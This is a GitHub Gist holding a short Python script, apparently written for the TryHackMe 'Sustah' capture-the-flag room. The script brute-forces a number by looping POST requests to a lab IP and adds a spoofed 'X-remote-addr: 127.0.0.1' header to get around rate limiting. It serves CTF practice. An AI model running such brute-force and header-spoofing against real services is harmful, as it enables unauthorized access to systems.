Last active
February 11, 2021 14:43
-
-
Save 0xsan-z/1694cd4dcd93e454cd8b8084570c3a35 to your computer and use it in GitHub Desktop.
Python Script to Brute Force Number for TryHackMe's Room named Sustah
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# https://0xsanz.medium.com/sustah-tryhackme-45550a6fe7e3 | |
import requests | |
for x in range(10000, 25000): | |
r = requests.post('http://10.10.91.116:8085', data = {'number':x},headers = {'X-remote-addr': '127.0.0.1'}) | |
reply = r.text | |
if "Oh no! How unlucky. Spin the wheel and try again" in r.text: | |
print("No Dice :( for Number " + str(x)) | |
else: | |
print("Bingo!! Number is " + str(x)) | |
exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment